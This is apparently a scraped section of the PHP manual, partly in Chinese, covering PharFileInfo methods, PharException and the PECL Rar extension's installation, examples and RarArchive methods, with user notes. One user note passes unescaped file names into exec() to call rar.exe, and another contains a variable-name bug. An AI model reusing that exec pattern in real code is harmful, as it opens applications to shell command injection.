(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

PharFileInfo::hasMetadata — Returns the metadata of the entry

说明

public PharFileInfo::hasMetadata(): bool

Returns the metadata of a file within a phar archive.

参数

No parameters.

返回值

Returns false if no metadata is set or is null, true if metadata is not null

参见

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.


Returns whether file entry has had its CRC verified

  • ? PharFileInfo::hasMetadata
  • PharFileInfo::isCompressed ?
  • PHP Manual
  • PharFileInfo
  • Returns whether file entry has had its CRC verified

PharFileInfo::isCRCChecked

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified

说明

public PharFileInfo::isCRCChecked(): bool

This returns whether a file within a Phar archive has had its CRC verified.

参数

此函数没有参数。

返回值

true if the file has had its CRC verified, false if not.

示例

Example #1 A PharFileInfo::isCRCChecked() example

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
var_dump($file->isCRCChecked());
} catch (Exception $e) {
echo 'Create/modify operations failed on my.phar: ', $e;
}
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the entry is compressed

  • ? PharFileInfo::isCRCChecked
  • PharFileInfo::setMetadata ?
  • PHP Manual
  • PharFileInfo
  • Returns whether the entry is compressed

PharFileInfo::isCompressed

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::isCompressed — Returns whether the entry is compressed

说明

public PharFileInfo::isCompressed(?int $compression = null): bool

This returns whether a file is compressed within a Phar archive with either Gzip or Bzip2 compression.

参数

compression

One of Phar::GZ or Phar::BZ2, defaults to any compression.

返回值

true if the file is compressed within the Phar archive, false if not.

更新日志

版本 | 说明
8.0.0 | compression is now nullable.

示例

Example #1 A PharFileInfo::isCompressed() example

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p['myfile2.txt']->setCompressedGZ();
$file = $p['myfile.txt'];
$file2 = $p['myfile2.txt'];
var_dump($file->isCompressed());
var_dump($file2->isCompressed());
} catch (Exception $e) {
echo 'Create/modify on phar my.phar failed: ', $e;
}
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compressFiles() - Compresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Sets file-specific meta-data saved with a file

  • ? PharFileInfo::isCompressed
  • PharException ?
  • PHP Manual
  • PharFileInfo
  • Sets file-specific meta-data saved with a file

PharFileInfo::setMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file

说明

public PharFileInfo::setMetadata(mixed $metadata): void

PharFileInfo::setMetadata() should only be used to store customized data in a file that cannot be represented with existing information stored with a file. Meta-data can significantly slow down the performance of loading a phar archive if the data is large, or if there are many files containing meta-data. It is important to note that file permissions are natively supported inside a phar; it is possible to set them with the PharFileInfo::chmod() method. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Some possible uses for meta-data include passing a user/group that should be set when a file is extracted from the phar to disk. Other uses could include explicitly specifying a MIME type to return. However, any useful data that describes a file, but should not be contained inside of it may be stored.

参数

metadata

Any PHP variable containing information to store alongside a file

返回值

没有返回值。

示例

Example #1 A PharFileInfo::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.txt'] = 'hello';
$p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
var_dump($p['file.txt']->getMetaData());
} catch (Exception $e) {
echo 'Could not create/modify phar: ', $e;
}
?>

以上示例会输出：

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

参见

  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.


The PharException class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

简介

The PharException class provides a phar-specific exception class for try/catch blocks.

类摘要

class PharException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Rar Archiving

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Rar 函数
    • rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper
  • RarArchive — The RarArchive class
    • RarArchive::close — Close RAR archive and free all resources
    • RarArchive::getComment — Get comment text from the RAR archive
    • RarArchive::getEntries — Get full list of entries from the RAR archive
    • RarArchive::getEntry — Get entry object from the RAR archive
    • RarArchive::isBroken — Test whether an archive is broken (incomplete)
    • RarArchive::isSolid — Check whether the RAR archive is solid
    • RarArchive::open — Open RAR archive
    • RarArchive::setAllowBroken — Whether opening broken archives is allowed
    • RarArchive::__toString — Get text representation
  • RarEntry — The RarEntry class
    • RarEntry::extract — Extract entry from the archive
    • RarEntry::getAttr — Get attributes of the entry
    • RarEntry::getCrc — Get CRC of the entry
    • RarEntry::getFileTime — Get entry last modification time
    • RarEntry::getHostOs — Get entry host OS
    • RarEntry::getMethod — Get pack method of the entry
    • RarEntry::getName — Get name of the entry
    • RarEntry::getPackedSize — Get packed size of the entry
    • RarEntry::getStream — Get file handler for entry
    • RarEntry::getUnpackedSize — Get unpacked size of the entry
    • RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry
    • RarEntry::isDirectory — Test whether an entry represents a directory
    • RarEntry::isEncrypted — Test whether an entry is encrypted
    • RarEntry::__toString — Get text representation of entry
  • RarException — The RarException class
    • RarException::isUsingExceptions — Check whether error handling with exceptions is in use
    • RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.


简介

Rar is a powerful and effective archiver created by Eugene Roshal. This extension gives you possibility to read Rar archives but doesn't support writing Rar archives, because this is not supported by the UnRar library and is directly prohibited by its license.

More information about Rar and UnRar can be found at » http://www.rarlabs.com/.

User Contributed Notes

There are no user contributed notes for this page.


安装

Rar is currently available through PECL » https://pecl.php.net/package/rar.

Also you can use the PECL installer to install the Rar extension, using the following command: pecl -v install rar.

You can always download the tar.gz package and install Rar by hand:

Example #1 Rar installation

gunzip rar-xxx.tgz
tar -xvf rar-xxx.tar
cd rar-xxx
phpize
./configure && make && make install

Windows users will enable php_rar.dll inside of php.ini in order to use these functions. PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

ohcc at 163 dot com 07-Nov-2015 07:17
Windows users download php_rar.dll at http://pecl.php.net/package/rar

0. click the DLL link for Windows

1. download php_rar.dll for your php version

2. copy php_rar.dll to the "ext" folder

3. append the following directive to the [php] section of your working php.ini, you can search "extension=" and append it to the last extension directive.

extension=php_rar.dll

4. restart your web server and enjoy.
t dot dekker at student dot utwente dot nl 04-Dec-2011 01:54
Easiest way to install the current version for PHP5 on Debian is as below. You may need additional packages if you don't have the basics like GCC installed. Also, start in a temporary directory since many junk files are created.

sudo apt-get install php5-dev dh-make-php fakeroot xsltproc
dh-make-pecl --only 5 rar
cd php-rar-3.0.0
dpkg-buildpackage
sudo dpkg -i ../php5-rar_3.0.0-1_amd64.deb
cristianbzdg at botosani dot ro 27-Nov-2010 08:21
After installing RAR 2.0.0 extension in PHP 5.3.3 on OpenSUSE 11.3 using pecl command line, i had to enable it by creating a file named
/etc/php5/conf.d/rar.ini
which contains this line
extension=rar.so


资源类型

This extension registers three internal classes: the archive representations returned by rar_open() - RarArchive, the entry representations returned by rar_list() and rar_entry_get() - RarEntry and the exception type RarException.

This extension also register a stream resource, called "rar" and a URL wrapper called "rar wrapper" and registered under the prefix "rar".

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

RAR_HOST_MSDOS (int)
Use RarEntry::HOST_MSDOS instead.
RAR_HOST_OS2 (int)
Use RarEntry::HOST_OS2 instead.
RAR_HOST_WIN32 (int)
Use RarEntry::HOST_WIN32 instead.
RAR_HOST_UNIX (int)
Use RarEntry::HOST_UNIX instead.
RAR_HOST_BEOS (int)
Use RarEntry::HOST_BEOS instead.

User Contributed Notes

There are no user contributed notes for this page.


示例

See also the examples under rar:// wrapper.

Example #1 On-the-fly decompression

<?php

if (!array_key_exists("i", $_GET) || !is_numeric($_GET["i"]))
die("Index unspecified or non-numeric");
$index = (int) $_GET["i"];

$arch = RarArchive::open("example.rar");
if ($arch === FALSE)
die("Cannot open example.rar");

$entries = $arch->getEntries();
if ($entries === FALSE)
die("Cannot retrieve entries");

if (!array_key_exists($index, $entries))
die("No such index: $index");

$orfilename = $entries[$index]->getName(); //UTF-8 encoded

$filesize = $entries[$index]->getUnpackedSize();

/* you could check HTTP_IF_MODIFIED_SINCE here and compare with
* $entries[$index]->getFileTime(). You could also send a
* "Last modified" header */

$fp = $entries[$index]->getStream();
if ($fp === FALSE)
die("Cannot open file with index $index insided the archive.");

$arch->close(); //no longer needed; stream is independent

function detectUserAgent() {
if (!array_key_exists('HTTP_USER_AGENT', $_SERVER))
return "Other";

$uas = $_SERVER['HTTP_USER_AGENT'];
if (preg_match("@Opera/@", $uas))
return "Opera";
if (preg_match("@Firefox/@", $uas))
return "Firefox";
if (preg_match("@Chrome/@", $uas))
return "Chrome";
if (preg_match("@MSIE ([0-9.]+);@", $uas, $matches)) {
if (((float)$matches[1]) >= 7.0)
return "IE";
}

return "Other";
}

/*
* We have 3 options:
* - For FF and Opera, which support RFC 2231, use that format.
* - For IE and Chrome, use attwithfnrawpctenclong
* (http://greenbytes.de/tech/tc2231/#attwithfnrawpctenclong)
* - For the others, convert to ISO-8859-1, if possible
*/
$formatRFC2231 = 'Content-Disposition: attachment; filename*=UTF-8\'\'%s';
$formatDef = 'Content-Disposition: attachment; filename="%s"';

switch (detectUserAgent()) {
case "Opera":
case "Firefox":
$orfilename = rawurlencode($orfilename);
$format = $formatRFC2231;
break;

case "IE":
case "Chrome":
$orfilename = rawurlencode($orfilename);
$format = $formatDef;
break;
default:
if (function_exists('iconv'))
$orfilename =
@iconv("UTF-8", "ISO-8859-1//TRANSLIT", $orfilename);
$format = $formatDef;
}

header(sprintf($format, $orfilename));
//cannot send error messages from now on (headers already sent)

//replace by real content type, perhaps infering from the file extension
$contentType = "application/octet-stream";
header("Content-Type: $contentType");

header("Content-Transfer-Encoding: binary");

header("Content-Length: $filesize");

if ($_SERVER['REQUEST_METHOD'] == "HEAD")
die();

while (!feof($fp)) {
$s = @fread($fp, 8192);
if ($s === false)
break; //useless to send error messages

echo $s;
}
?>

This example opens a RAR file and presents the requested file inside the RAR archive for download to the client.

Example #2 RAR extension filesystem extraction example

<?php

$rar_file = rar_open('example.rar') or die("Can't open Rar archive");

$entries = rar_list($rar_file);

foreach ($entries as $entry) {
echo 'Filename: ' . $entry->getName() . "\n";
echo 'Packed size: ' . $entry->getPackedSize() . "\n";
echo 'Unpacked size: ' . $entry->getUnpackedSize() . "\n";

$entry->extract('/dir/extract/to/');
}

rar_close($rar_file);

?>

This example opens a RAR file archive and extracts each entry to the specified directory.

User Contributed Notes

Nitrogen 17-Nov-2010 08:43
A veeery simple function to RAR files, I'm not proud of it.
Since there's no way to create RAR files in PHP (due to licensing, patents or whatever), I'm taking some advantage from the command-line RARing tool that comes with WinRAR (in the WinRAR program files named "rar.exe").

<?php
function RARFiles($Output='output.rar',$Files=array()) {
  $Data='';
  for($i=0;$i<count($Files);$i++)
    $Data.="\"{$Files[$i]}\" ";
  exec("rar.exe a \"{$Output}\" {$Data}");
}

$Files=array('file1.ext','file2.ext','file3.ext');
RARFiles('asdf.rar',$Files);
// asdf.rar created.
?>

There's no error checking, so make sure you check that your expected RAR file exists before doing anything with it.
Hopefully one day, PHP will be able to be allowed to create RAR files.


Rar 函数

Table of Contents

  • rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper

User Contributed Notes

There are no user contributed notes for this page.


Cache hits and misses for the URL wrapper

  • ? Rar 函数
  • RarArchive ?
  • PHP Manual
  • Rar 函数
  • Cache hits and misses for the URL wrapper

rar_wrapper_cache_stats

(PECL rar >= 3.0.0)

rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper

说明

rar_wrapper_cache_stats(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The RarArchive class

(PECL rar >= 2.0.0)

简介

This class represents a RAR archive, which may be formed by several volumes (parts) and which contains a number of RAR entries (i.e., files, directories and other special objects such as symbolic links).

Objects of this class can be traversed, yielding the entries stored in the respective RAR archive. Those entries can also be obtained through RarArchive::getEntry() and RarArchive::getEntries().

类摘要

final class RarArchive implements Traversable {
/* 方法 */
public close(): bool
public getComment(): string
public getEntries(): array|false
public getEntry(string $entryname): RarEntry|false
public isBroken(): bool
public isSolid(): bool
public static open(string $filename, string $password = NULL, callable $volume_callback = NULL): RarArchive|false
public setAllowBroken(bool $allow_broken): bool
public __toString(): string
}

Table of Contents

  • RarArchive::close — Close RAR archive and free all resources
  • RarArchive::getComment — Get comment text from the RAR archive
  • RarArchive::getEntries — Get full list of entries from the RAR archive
  • RarArchive::getEntry — Get entry object from the RAR archive
  • RarArchive::isBroken — Test whether an archive is broken (incomplete)
  • RarArchive::isSolid — Check whether the RAR archive is solid
  • RarArchive::open — Open RAR archive
  • RarArchive::setAllowBroken — Whether opening broken archives is allowed
  • RarArchive::__toString — Get text representation

User Contributed Notes

There are no user contributed notes for this page.


Close RAR archive and free all resources

  • ? RarArchive
  • RarArchive::getComment ?
  • PHP Manual
  • RarArchive
  • Close RAR archive and free all resources

RarArchive::close

rar_close

(PECL rar >= 2.0.0)

RarArchive::close -- rar_close — Close RAR archive and free all resources

说明

面向对象风格 (method):

public RarArchive::close(): bool

过程化风格:

rar_close(RarArchive $rarfile): bool

Close RAR archive and free all allocated resources.

参数

rarfile

A RarArchive object, opened with rar_open().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL rar 2.0.0 | The RAR entries returned by RarArchive::getEntry() and RarArchive::getEntries() are now invalidated when calling this method. This means that all instance methods called for such entries and not guaranteed to succeed.

示例

Example #1 面向对象风格

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

以上示例的输出类似于：

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

Example #2 过程化风格

<?php
$rar_arch = rar_open('latest_winrar.rar');
echo $rar_arch."\n";
rar_close($rar_arch);
echo $rar_arch."\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Get comment text from the RAR archive

  • ? RarArchive::close
  • RarArchive::getEntries ?
  • PHP Manual
  • RarArchive
  • Get comment text from the RAR archive

RarArchive::getComment

rar_comment_get

(PECL rar >= 2.0.0)

RarArchive::getComment -- rar_comment_get — Get comment text from the RAR archive

说明

面向对象风格 (method):

public RarArchive::getComment(): string

过程化风格:

rar_comment_get(RarArchive $rarfile): string

Get the (global) comment stored in the RAR archive. It may be up to 64 KiB long.

Note:

This extension does not support comments at the entry level.

参数

rarfile

A RarArchive object, opened with rar_open().

返回值

Returns the comment or null if there is none.

Note:

RAR has currently no support for unicode comments. The encoding of the result of this function is not specified, but it will probably be Windows-1252.

示例

Example #1 面向对象风格

<?php
$rar_arch = RarArchive::open('commented.rar');
echo $rar_arch->getComment();
?>

以上示例的输出类似于：

This is the comment of the file commented.rar.

Example #2 过程化风格

<?php
$rar_arch = rar_open('commented.rar');
echo rar_comment_get($rar_arch);
?>

User Contributed Notes

There are no user contributed notes for this page.


Get full list of entries from the RAR archive

  • ? RarArchive::getComment
  • RarArchive::getEntry ?
  • PHP Manual
  • RarArchive
  • Get full list of entries from the RAR archive

RarArchive::getEntries

rar_list

(PECL rar >= 2.0.0)

RarArchive::getEntries -- rar_list — Get full list of entries from the RAR archive

说明

面向对象风格 (method):

public RarArchive::getEntries(): array|false

过程化风格:

rar_list(RarArchive $rarfile): array|false

Get entries list (files and directories) from the RAR archive.

Note:

If the archive has entries with the same name, this method, together with RarArchive foreach iteration and array-like access with numeric indexes, are the only ones to access all the entries (i.e., RarArchive::getEntry() and the rar:// wrapper are insufficient).

参数

rarfile

A RarArchive object, opened with rar_open().

返回值

rar_list() returns array of RarEntry objects 或者在失败时返回 false.

更新日志

版本 | 说明
PECL rar 3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

示例

Example #1 面向对象风格

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
die("Could not open RAR archive.");

$rar_entries = $rar_arch->getEntries();
if ($rar_entries === FALSE)
die("Could not retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
echo $e;
echo "\n";
}
$rar_arch->close();
?>

以上示例的输出类似于：

Found 2 entries.
RarEntry for file "tese.txt" (23b93a7a)
RarEntry for file "unrardll.txt" (2ed64b6e)

Example #2 过程化风格

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
die("Could not open RAR archive.");

$rar_entries = rar_list($rar_arch);
if ($rar_entries === FALSE)
die("Could retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
echo $e;
echo "\n";
}
rar_close($rar_arch);
?>

参见

  • RarArchive::getEntry() - Get entry object from the RAR archive
  • rar:// wrapper

User Contributed Notes

Anonymous 19-Nov-2014 02:49
at the examples line 7 should be:
    die("Could NOT retrieve entries.");
grap at hot dot ee 24-Jan-2013 02:01
Can be usefult for many, probably:
<?php
$path  = 'path/to/archive';

$archive = RarArchive::open($path);
$list       = $archive ->getEntries();
foreach ($list as $entity) {
    //print just title of file from archive(use getters to access other fields, etc)
    echo $value->getName();
}
?>


Get entry object from the RAR archive

  • ? RarArchive::getEntries
  • RarArchive::isBroken ?
  • PHP Manual
  • RarArchive
  • Get entry object from the RAR archive

RarArchive::getEntry

rar_entry_get

(PECL rar >= 2.0.0)

RarArchive::getEntry -- rar_entry_get — Get entry object from the RAR archive

说明

面向对象风格 (method):

public RarArchive::getEntry(string $entryname): RarEntry|false

过程化风格:

rar_entry_get(RarArchive $rarfile, string $entryname): RarEntry|false

Get entry object (file or directory) from the RAR archive.

Note:

You can also get entry objects using RarArchive::getEntries().

Note that a RAR archive can have multiple entries with the same name; this method will retrieve only the first.

参数

rarfile

A RarArchive object, opened with rar_open().

entryname

Path to the entry within the RAR archive.

Note:

The path must be the same returned by RarEntry::getName().

返回值

Returns the matching RarEntry object 或者在失败时返回 false.

示例

Example #1 面向对象风格

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
die("Could not open RAR archive.");
$rar_entry = $rar_arch->getEntry('tese.txt');
if ($rar_entry === FALSE)
die("Could not get such entry");
echo get_class($rar_entry)."\n";
echo $rar_entry;
$rar_arch->close();
?>

以上示例的输出类似于：

RarEntry
RarEntry for file "tese.txt" (23b93a7a)

Example #2 过程化风格

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
die("Could not open RAR archive.");
$rar_entry = rar_entry_get($rar_arch, 'tese.txt');
if ($rar_entry === FALSE)
die("Could not get such entry");
echo get_class($rar_entry)."\n";
echo $rar_entry;
rar_close($rar_arch);
?>

参见

  • RarArchive::getEntries() - Get full list of entries from the RAR archive
  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.


Test whether an archive is broken (incomplete)

  • ? RarArchive::getEntry
  • RarArchive::isSolid ?
  • PHP Manual
  • RarArchive
  • Test whether an archive is broken (incomplete)

RarArchive::isBroken

rar_broken_is

(PECL rar >= 3.0.0)

RarArchive::isBroken -- rar_broken_is — Test whether an archive is broken (incomplete)

说明

面向对象风格 (method):

public RarArchive::isBroken(): bool

过程化风格:

rar_broken_is(RarArchive $rarfile): bool

This function determines whether an archive is incomplete, i.e., if a volume is missing or a volume is truncated.

参数

rarfile

A RarArchive object, opened with rar_open().

返回值

Returns true if the archive is broken, false otherwise. This function may also return false if the passed file has already been closed. The only way to tell the two cases apart is to enable exceptions with RarException::setUsingExceptions(); however, this should be unnecessary as a program should not operate on closed files.

示例

Example #1 面向对象风格

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument is used to omit notice */
$arch = RarArchive::open($file, null, 'retnull');
var_dump($arch->isBroken());
?>

以上示例的输出类似于：

bool(true)

Example #2 过程化风格

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument is used to omit notice */
$arch = rar_open($file, null, 'retnull');
var_dump(rar_broken_is($arch));
?>

参见

  • RarArchive::setAllowBroken() - Whether opening broken archives is allowed

User Contributed Notes

There are no user contributed notes for this page.


Check whether the RAR archive is solid

  • ? RarArchive::isBroken
  • RarArchive::open ?
  • PHP Manual
  • RarArchive
  • Check whether the RAR archive is solid

RarArchive::isSolid

rar_solid_is

(PECL rar >= 2.0.0)

RarArchive::isSolid -- rar_solid_is — Check whether the RAR archive is solid

说明

面向对象风格 (method):

public RarArchive::isSolid(): bool

过程化风格:

rar_solid_is(RarArchive $rarfile): bool

Check whether the RAR archive is solid. Individual file extraction is slower on solid archives.

参数

rarfile

A RarArchive object, opened with rar_open().

返回值

Returns true if the archive is solid, false otherwise.

示例

Example #1 面向对象风格

<?php
$arch1 = RarArchive::open("store_method.rar");
$arch2 = RarArchive::open("solid.rar");
echo "$arch1: " . ($arch1->isSolid()?'yes':'no') ."\n";
echo "$arch2: " . ($arch2->isSolid()?'yes':'no') . "\n";
?>

以上示例的输出类似于：

RAR Archive "C:\php_rar\trunk\tests\store_method.rar": no
RAR Archive "C:\php_rar\trunk\tests\solid.rar": yes

Example #2 过程化风格

<?php
$arch1 = rar_open("store_method.rar");
$arch2 = rar_open("solid.rar");
echo "$arch1: " . (rar_solid_is($arch1)?'yes':'no') ."\n";
echo "$arch2: " . (rar_solid_is($arch2)?'yes':'no') . "\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Open RAR archive

  • ? RarArchive::isSolid
  • RarArchive::setAllowBroken ?
  • PHP Manual
  • RarArchive
  • Open RAR archive

RarArchive::open

rar_open

(PECL rar >= 2.0.0)

RarArchive::open -- rar_open — Open RAR archive

说明

面向对象风格 (method):

public static RarArchive::open(string $filename, string $password = NULL, callable $volume_callback = NULL): RarArchive|false

过程化风格:

rar_open(string $filename, string $password = NULL, callable $volume_callback = NULL): RarArchive|false

Open specified RAR archive and return RarArchive instance representing it.

Note:

If opening a multi-volume archive, the path of the first volume should be passed as the first parameter. Otherwise, not all files will be shown. This is by design.

参数

filename

Path to the Rar archive.

password

A plain password, if needed to decrypt the headers. It will also be used by default if encrypted files are found. Note that the files may have different passwords in respect to the headers and among them.

volume_callback

A function that receives one parameter - the path of the volume that was not found - and returns a string with the correct path for such volume or null if such volume does not exist or is not known. The programmer should ensure the passed function doesn't cause loops as this function is called repeatedly if the path returned in a previous call did not correspond to the needed volume. Specifying this parameter omits the notice that would otherwise be emitted whenever a volume is not found; an implementation that only returns null can therefore be used to merely omit such notices.

Warning

Prior to version 2.0.0, this function would not handle relative paths correctly. Use realpath() as a workaround.

返回值

Returns the requested RarArchive instance 或者在失败时返回 false.

更新日志

版本 | 说明
PECL rar 3.0.0 | volume_callback was added.

示例

Example #1 面向对象风格

<?php
$rar_arch = RarArchive::open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
die("Failed opening file");

$entries = $rar_arch->getEntries();
if ($entries === FALSE)
die("Failed fetching entries");

echo "Found " . count($entries) . " files.\n";

if (empty($entries))
die("No valid entries found.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
die("Failed opening first file");

$rar_arch->close();

echo "Content of first one follows:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

以上示例的输出类似于：

Found 2 files.
Content of first one follows:
Encrypted file 1 contents.

Example #2 过程化风格

<?php
$rar_arch = rar_open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
die("Failed opening file");

$entries = rar_list($rar_arch);
if ($entries === FALSE)
die("Failed fetching entries");

echo "Found " . count($entries) . " files.\n";

if (empty($entries))
die("No valid entries found.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
die("Failed opening first file");

rar_close($rar_arch);

echo "Content of first one follows:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

Example #3 Volume Callback

<?php
/* In this example, there's a volume named multi_broken.part1.rar
* whose next volume is named multi.part2.rar */
function resolve($vol) {
if (preg_match('/_broken/', $vol))
return str_replace('_broken', '', $vol);
else
return null;
}
$rar_file1 = rar_open(dirname(__FILE__).'/multi_broken.part1.rar', null, 'resolve');
$entry = $rar_file1->getEntry('file2.txt');
$entry->extract(null, dirname(__FILE__) . "/temp_file2.txt");
?>

参见

  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.


Whether opening broken archives is allowed

  • ? RarArchive::open
  • RarArchive::__toString ?
  • PHP Manual
  • RarArchive
  • Whether opening broken archives is allowed

RarArchive::setAllowBroken

(PECL rar >= 3.0.0)

RarArchive::setAllowBroken — Whether opening broken archives is allowed

说明

面向对象风格 (method):

public RarArchive::setAllowBroken(bool $allow_broken): bool

过程化风格:

rar_allow_broken_set(RarArchive $rarfile, bool $allow_broken): bool

This method defines whether broken archives can be read or all the operations that attempt to extract the archive entries will fail. Broken archives are archives for which no error is detected when the file is opened but an error occurs when reading the entries.

参数

rarfile

A RarArchive object, opened with rar_open().

allow_broken

Whether to allow reading broken files (true) or not (false).

返回值

Returns true 或者在失败时返回 false. It will only fail if the file has already been closed.

示例

Example #1 面向对象风格

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument omits "volume not found" message */
$a = RarArchive::open($file, null, 'retnull');
$a->setAllowBroken(true);
foreach ($a->getEntries() as $e) {
echo "$e\n";
}
var_dump(count($a));
?>

以上示例的输出类似于：

RarEntry for file "file1.txt" (52b28202)
int(1)

Example #2 过程化风格

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument omits "volume not found" message */
$a = rar_open($file, null, 'retnull');
rar_allow_broken_set($a, true);
foreach (rar_list($a) as $e) {
echo "$e\n";
}
var_dump(count($a));
?>

参见

  • RarArchive::isBroken() - Test whether an archive is broken (incomplete)

User Contributed Notes

There are no user contributed notes for this page.


Get text representation

  • ? RarArchive::setAllowBroken
  • RarEntry ?
  • PHP Manual
  • RarArchive
  • Get text representation

RarArchive::__toString

(PECL rar >= 2.0.0)

RarArchive::__toString — Get text representation

说明

public RarArchive::__toString(): string

Provides a string representation for this RarArchive object. It currently shows the full path name of the archive volume that was opened and whether the resource is valid or was already closed through a call to RarArchive::close().

This method may be used only for debugging purposes, as there are no guarantees as to which information the result contains or how it is formatted.

参数

此函数没有参数。

返回值

A textual representation of this RarArchive object. The content of this representation is unspecified.

示例

Example #1 RarArchive::__toString() example

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

以上示例的输出类似于：

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

User Contributed Notes

There are no user contributed notes for this page.


The RarEntry class

(PECL rar >= 0.1)

简介

A RAR entry, representing a directory or a compressed file inside a RAR archive.

类摘要

final class RarEntry {
/* 常量 */
const int HOST_MSDOS = 0;
const int HOST_OS2 = 1;
const int HOST_WIN32 = 2;
const int HOST_UNIX = 3;
const int HOST_MACOS = 4;
const int HOST_BEOS = 5;
